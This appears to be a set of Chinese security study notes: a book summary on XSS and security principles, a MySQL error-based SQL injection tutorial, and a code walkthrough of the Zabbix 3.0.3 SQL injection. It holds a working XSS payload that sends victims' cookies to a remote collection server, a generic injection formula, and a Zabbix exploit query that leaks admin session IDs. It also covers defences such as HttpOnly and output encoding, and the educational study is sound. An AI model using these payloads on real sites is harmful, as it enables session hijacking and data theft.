第三章 跨站脚本攻击(XSS)

XSS:跨站脚本攻击,通过篡改网页执行恶意脚本。

举例:

<h2>
	XSS
</h2>
<input type="text" name="" id="test" value="">
<input type="button" name="" value="do_it" onclick="xss()">
<p id="xss">
</p>
<script>
	function xss(){
		var x = document.getElementById('test').value;
		y = document.getElementById('xss');
		y.innerHTML = x;
	}
</script>

这就是一个最简单的存在xss漏洞的页面,可以通过向输入框编写特定代码执行脚本。

利用方式

分析一下现在常用的xss平台的攻击脚本:

(function() { (new Image()).src = 'http://url/index.php?do=api&id=yourId&location=' + escape((function() {
        try {
            return document.location.href
        } catch(e) {
            return ''
        }
    })()) + '&toplocation=' + escape((function() {
        try {
            return top.location.href
        } catch(e) {
            return ''
        }
    })()) + '&cookie=' + escape((function() {
        try {
            return document.cookie
        } catch(e) {
            return ''
        }
    })()) + '&opener=' + escape((function() {
        try {
            return (window.opener && window.opener.location.href) ? window.opener.location.href: ''
        } catch(e) {
            return ''
        }
    })());
})();
if ('' == 1) { // '' != 1
    keep = new Image();
    keep.src = 'http://url/index.php?do=keepsession&id=yourId&url=' + escape(document.location) + '&cookie=' + escape(document.cookie)
};

首先创建了一个函数,新建一个image()对象

image.src="http://url/index.php?do=api&id=yourId
&location="+document.location.href      // http://octfive.cn/whitehat-readingnote-2/
+"&toplocation="+top.location.href      // http://octfive.cn/whitehat-readingnote-2/
+"&cookie="+document.cookie             // 我们通过xss漏洞想要获取的cookie
+"&opener="+window.opener.location.href //如果有的话,否则为空(基本是空)

上面代码的执行结果是创建了一个不存在的图片,图片的地址为上述所说,等于是向我们自己的服务器发送了一个带有攻击目标的cookie的请求,服务器端会记录下攻击目标的cookie,从而伪装成攻击目标的身份。

自己写了一个页面测试XSS平台的功能

<h2>
	Set Cookie
</h2>
<script>
	document.cookie="jason=123";
</script>

<script src=http://url></script>

在chrome中不能在本地环境设置,需要服务端,所以主要采用firefox进行实验。

访问了已经插入恶意代码的页面后,XSS平台显示了我们设置的cookie。

2016-12-02 21:58:31	
location : file:///C:/Users/Desktop/test.html
toplocation : file:///C:/Users/Desktop/test.html
cookie : jason=123
opener :
HTTP_REFERER :
HTTP_USER_AGENT : Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
REMOTE_ADDR : myip

通过抓包查看向服务器发送的请求:

GET /index.php?do=api&id=myid&location=file:///C:/Users/Desktop/test.html&toplocation=file:///C:/Users/Desktop/test.html&cookie=jason=123&opener= HTTP/1.1
Host: url
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: 
DNT: 1
Connection: keep-alive

这个请求就是我们刚才分析的那样。

但是xss的威力不至于此,包括但不限于,钓鱼,识别浏览器及插件,识别浏览过的网页,获取ip。

用户易发生交互的储存型xss会更容易的产生xss蠕虫

较常用的js调试工具有firebug,浏览器自带f12(感觉chrome的最好)

构造技巧

字符编码:%c1\ 会被识别为unicode字符,可以跳出双引号。

长度限制:如果写在js里,直接删除,也可以用注释多行叠加。长度限制应该写在服务端。

:定义使用相对路径的host地址。

window.name:很多情况不受同源策略影响,可以跨域传送数据。

XSS的防御

HttpOnly:禁止javascript访问设置HttpOnly标志的cookie

输入输出检查:过滤用户输入的字符,HtmlEncode。

编写了一个最简易的xss过滤脚本

function filter(cont){
	cont = cont.replace(/&/g, '&amp');
	cont = cont.replace(/</g, '&lt').replace(/>/g, '&gt');
	cont = cont.replace(/\'/g, '\'').replace(/\"/g, '\"');
	return cont;
};

输出到html进行HtmlEncode,输出到javascript用javascriptEncode。

XSS处理得当可以彻底解决

访问test.octfive.cn可以进行xss漏洞的测试

0x00

趁着今年双十一买了几本信息安全方面的书,希望写一写读书笔记更好的理解书中的内容。

前言

讲述本书作者吴翰清先生的经历,本书编写的缘由,以及对于信息安全行业工作者来说,看待安全的角度高度尤为重要。对于目前正在学习的渗透测试而言,渗透的思路也是同等的重要。

本书的架构为:

  • 安全世界观
  • 客户端脚本安全(前端安全)
  • 服务端安全(后端安全)
  • 安全运营

第一章 我的安全世界观

简要介绍黑客发展的过程与安全的兴起,作者的观点是,安全问题的本质是信任的问题。
比如说:

  • Sql注入的产生是对传入参数的错误信任
  • XSS的产生是对用户输入内容的错误信任

安全没有一劳永逸解决安全的办法

安全的三要素:机密性,完整性,可能性

威胁分析可通过STRIDE模型去考虑,有Spoofing(伪装),Tampering(篡改),Repudiation(抵赖),InformationDisclosure(信息泄露),Denial of Service(拒绝服务),Elevation of Privilege(提升权限)。

风险分析可通过DREAD模型去考虑,有Damage Potential(危害等级),Reproducibility(重复性),Exploitability(可利用性),Affected user(影响用户),Discoverability(可发现性).

Secure By Default

尽量使用可靠白名单而非黑名单

最小权限原则,尽可能减小业务使用权限:

  • Linux系统中,尽量使用普通用户,root权限可用sudo命令
  • 数据库用户尽量使用普通用户,sa或root就可能导致直接写入webshell

纵深防御原则,多层面进行防御:

  • Web应用安全
  • 数据库安全
  • 网络环境安全
  • 系统安全

数据与代码分离原则过滤就是一种防止把用户数据编程代码的方式

不可预测性原则

  • 防止CSRF的不可以预测Token
  • 复杂密码防止弱口令的爆破
  • 给一些越权行为增加利用难度

第二章 浏览器安全

同源策略:具有相同的协议,主机(也常说域名),端口。一段脚本只能读取来自于同一来源的窗口和文档的属性

现在的浏览器多为多进程,每个tab页是不同的进程,发生崩溃时不会影响其他页面的使用

浏览器一般提供恶意网站识别功能,来自志愿者们的提供,减少被恶意网站攻击的发生。

大多数浏览器会提供自己的过滤器,防止一些攻击的发生,也会对畸形url进行一定的处理

0x00

对sql注入大致上了解,但很多细节仍然不清楚,便想通过这篇文章整理一下sql报错注入的方法

0x01
sql报错注入的原理就是,当在一个聚合函数,比如count函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来。

聚合函数是指对一组值执行计算并返回单一的值的函数,例如:
COUNT() 返回指定组中项目的数量
MAX() 返回指定数据的最大值
MIN() 返回指定数据的最小值
SUM() 返回指定数据的和,只能用于数字列,空值被忽略

在报错注入中,常用的函数有:
floor() 向下取整,直接去掉小数部分
rand() 生成随机数

0x02

正常执行出命令

mysql> select concat(version(),0x3a,floor(rand()*2));
+----------------------------------------+
| concat(version(),0x3a,floor(rand()*2)) |
+----------------------------------------+
| 5.5.52-0+deb8u1:0                      |
+----------------------------------------+

执行下面这条命令时就出现了错误,而在错误中显示了数据库的版本

select count(*),concat((select version()),floor(rand()*2))a from information_schema.tables group by a;
ERROR 1062 (23000): Duplicate entry '5.5.52-0+deb8u11' for key 'group_key'

 

注入的公式

union select 1 from (select count(*),concat(floor(rand(0)*2),( 注入爆数据语句))a from information_schema.tables group by a)b

解释一下公式的含义

union select 1 from ()b
// 联合注入把括号内容作为表b取出其中第一条数据
// 也就是上面代码中的 Duplicate entry '5.5.52-0+deb8u11' for key 'group_key'
select count(*),concat(floor(rand(0)*2),(注入爆数据语句))a from information_schema.tables group by a
//就是这条指令使数据库出错,语句查询的内容就会在错误内容中显示

0x00

=========================================
Title: Zabbix 3.0.3 SQL Injection Vulnerability
Product: Zabbix
Vulnerable Version(s): 2.2.x, 3.0.x
Fixed Version: 3.0.4
Homepage: http://www.zabbix.com
Patch link: https://support.zabbix.com/browse/ZBX-11023
Credit: 1N3@CrowdShield
==========================================

zabbix是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案。能监视各种网络参数,保证服务器系统的安全运营;并提供灵活的通知机制以让系统管理员快速定位/解决存在的各种问题。

0x01

公布的poc如下:

/zabbix/jsrpc.php?
sid=0bcd4ade648214dc
&type=9
&method=screen.get
&timestamp=1471403798083
&mode=2
&screenid=
&groupid=
&hostid=0
&pageFile=history.php
&profileIdx=web.item.graph
&profileIdx2=2'3297 //注入点
&updateProfile=true
&screenitemid=
&period=3600
&stime=20160817050632
&resourcetype=17
&itemids%5B23297%5D=23297
&action=showlatest
&filter=
&filter_task=
&mark_color=1

打开jsrpc.php,由于method是screen.get,我们定位到case ‘screen.get’:

switch ($data['method']) {
	case 'host.get':
		...
	case 'message.mute':
		...
	case 'message.unmute':
		...
	case 'message.settings':
		...
	case 'message.get':
		...
	case 'message.closeAll':
		...
	case 'zabbix.status':
		...
	case 'screen.get': //只执行此段代码
		$result = '';
		$screenBase = CScreenBuilder::getScreen($data);
		if ($screenBase !== null) {
			$screen = $screenBase->get();

			if ($data['mode'] == SCREEN_MODE_JS) {
				$result = $screen;
			}
			else {
				if (is_object($screen)) {
					$result = $screen->toString();
				}
			}
		}
		break;
	case 'multiselect.get': 
		... 
	default: fatal_error('Wrong RPC call to JS RPC!'); }

	...
require_once dirname(__FILE__).'/include/page_footer.php';

打开CScreenBuilder.php,定位profileIdx2

public function __construct(array $options = []) {
		$this->isFlickerfree = isset($options['isFlickerfree']) ? $options['isFlickerfree'] : true;
		$this->mode = isset($options['mode']) ? $options['mode'] : SCREEN_MODE_SLIDESHOW;
		$this->timestamp = !empty($options['timestamp']) ? $options['timestamp'] : time();
		$this->hostid = !empty($options['hostid']) ? $options['hostid'] : null;

		// get page file
		if (!empty($options['pageFile'])) {
			$this->pageFile = $options['pageFile'];
		}
		else {
			global $page;
			$this->pageFile = $page['file'];
		}

		// get screen
		if (!empty($options['screen'])) {
			$this->screen = $options['screen'];
		}
		elseif (array_key_exists('screenid', $options) && $options['screenid'] > 0) {
			$this->screen = API::Screen()->get([
				'screenids' => $options['screenid'],
				'output' => API_OUTPUT_EXTEND,
				'selectScreenItems' => API_OUTPUT_EXTEND,
				'editable' => ($this->mode == SCREEN_MODE_EDIT)
			]);

			if (!empty($this->screen)) {
				$this->screen = reset($this->screen);
			}
			else {
				access_deny();
			}
		}

		// calculate time
		$this->profileIdx = !empty($options['profileIdx']) ? $options['profileIdx'] : '';
		//判断profileIdx2是否为空
		$this->profileIdx2 = !empty($options['profileIdx2']) ? $options['profileIdx2'] : null;
		$this->updateProfile = isset($options['updateProfile']) ? $options['updateProfile'] : true;

		$this->timeline = CScreenBase::calculateTime([
			'profileIdx' => $this->profileIdx,
			//这里把数据传入CScreenBase::calculateTime
			'profileIdx2' => $this->profileIdx2,
			'updateProfile' => $this->updateProfile,
			'period' => !empty($options['period']) ? $options['period'] : null,
			'stime' => !empty($options['stime']) ? $options['stime'] : null
		]);
	}

数据已经传到CScreenBase::calculateTime,打开CScreenBase.php

找到calculateTime()

	public static function calculateTime(array $options = []) {
		
		// period
		if (empty($options['period'])) {
			...// period非空
		}
		else {
			if ($options['period'] < ZBX_MIN_PERIOD) {
				...// ZBX_MIN_PERIOD = 60
			}
			elseif ($options['period'] > ZBX_MAX_PERIOD) {
				...// ZBX_MAX_PERIOD = 63072000
			}
		}
		if ($options['updateProfile'] && !empty($options['profileIdx'])) {
			CProfile::update($options['profileIdx'].'.period', $options['period'], PROFILE_TYPE_INT, $options['profileIdx2']);
		}
		...
	}
}

传入到了CProfile::update

	public static function update($idx, $value, $type, $idx2 = 0) {
		// $idx = web.item.graph.period
		// $value = 3600
		// $type = $profileIdx2
		// $idx2 = 0
		... // 一些检查

		$profile = [
			'idx' => $idx,
			'value' => $value,
			'type' => $type,
			'idx2' => $idx2
		];

		$current = self::get($idx, null, $idx2);
		if (is_null($current)) {
			if (!isset(self::$insert[$idx])) {
				self::$insert[$idx] = [];
			}
			self::$insert[$idx][$idx2] = $profile;
		}
		else {
			if ($current != $value) {
				if (!isset(self::$update[$idx])) {
					self::$update[$idx] = [];
				}
				self::$update[$idx][$idx2] = $profile;
			}
		}

		if (!isset(self::$profiles[$idx])) {
			self::$profiles[$idx] = [];
		}

		self::$profiles[$idx][$idx2] = $value;
	}

发现并没有对数据库进行操作

再回到jsrpc.php的最后一行

require_once dirname(__FILE__).'/include/page_footer.php';

打开page_footer.php

if (CProfile::isModified()) {
	DBstart();
	$result = CProfile::flush();
	DBend($result);
}

打开CProfile.php

	public static function isModified() {
		return (self::$insert || self::$update);
	}// self::$insert == self::$insert == []
	
	...

		// $idx = web.item.graph.period
		// $value = 3600
		// $type = $profileIdx2
		// $idx2 = 0

	public static function flush() {
		$result = false;

		if (self::$profiles !== null && self::$userDetails['userid'] > 0 && self::isModified()) {
			$result = true;

			foreach (self::$insert as $idx => $profile) {
				foreach ($profile as $idx2 => $data) {//这里就是注入发生的地方
					$result &= self::insertDB($idx, $data['value'], $data['type'], $idx2);
				}//insertDB(web.item.graph.period, 3600, $profileIdx2, 0)
			}

			ksort(self::$update);
			foreach (self::$update as $idx => $profile) {
				ksort($profile);
				foreach ($profile as $idx2 => $data) {
					$result &= self::updateDB($idx, $data['value'], $data['type'], $idx2);
				}
			}
		}

		return $result;
	}

		...
	//insertDB(web.item.graph.period, 3600, $profileIdx2, 0)
	private static function insertDB($idx, $value, $type, $idx2) {
		$value_type = self::getFieldByType($type);

		$values = [
			'profileid' => get_dbid('profiles', 'profileid'),
			'userid' => self::$userDetails['userid'],
			'idx' => zbx_dbstr($idx),
			$value_type => zbx_dbstr($value),
			'type' => $type,
			'idx2' => $idx2
		];
		// implode()为连接字符串函数
		// array_keys()为获取键名函数
		// INSERT INTO profiles (
		// implode(', ', array_keys($values))
		// ) VALUES (
		// implode(', ', $values)
		// )
		return DBexecute('INSERT INTO profiles ('.implode(', ', array_keys($values)).') VALUES ('.implode(', ', $values).')');
	}

并没有对参数做任何的过滤,导致了注入的发生,可以直接爆出管理员的session

Exp为

(select 1 from(select count(*),concat((select (select (select concat(0x7e,(select sessionid from sessions limit 0,1),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)